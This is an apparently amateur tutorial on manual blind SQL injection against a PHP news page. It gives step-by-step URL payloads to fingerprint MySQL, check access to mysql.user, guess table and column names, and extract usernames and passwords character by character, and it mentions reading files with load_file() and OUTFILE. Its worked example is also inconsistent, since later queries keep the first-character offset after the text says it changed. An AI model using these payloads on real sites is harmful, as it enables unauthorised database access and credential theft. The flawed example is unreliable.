Blind Sql Injection

I will be using a very simple example right now.Soon i ll be posting screenshots of sql injection done on my localhost

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok.now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.


1) Get the MySQL versionto get the version in blind attack we use sub-string i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect workswhen select don't work then we use subselect i.e
http://www.site.com/news.php?id=5 and (select 1)=1if page loads normally then subselects work.then we gonna see if we have access to mysql.useri.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column namesThis is part when guessing is the best friendi.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)then if the page loads normally without content missing, the table users exits.if you get FALSE (some article missing), just change table name until you guess the right one :)let's say that we have found that table name is users, now what we need is column name.the same as table name, we start guessing. Like i said before try the common names for columns
.i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1if the page loads normally we know that column name is password (if we get false then try common names or just guess)here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from databasewe found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password)from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii valueand then compare it with simbol greater then > .so if the ascii char greater then 80, the page loads normally. (TRUE)we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!! we know that the second character is char(105) and that is 'i'. We have 'ci' so farso keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually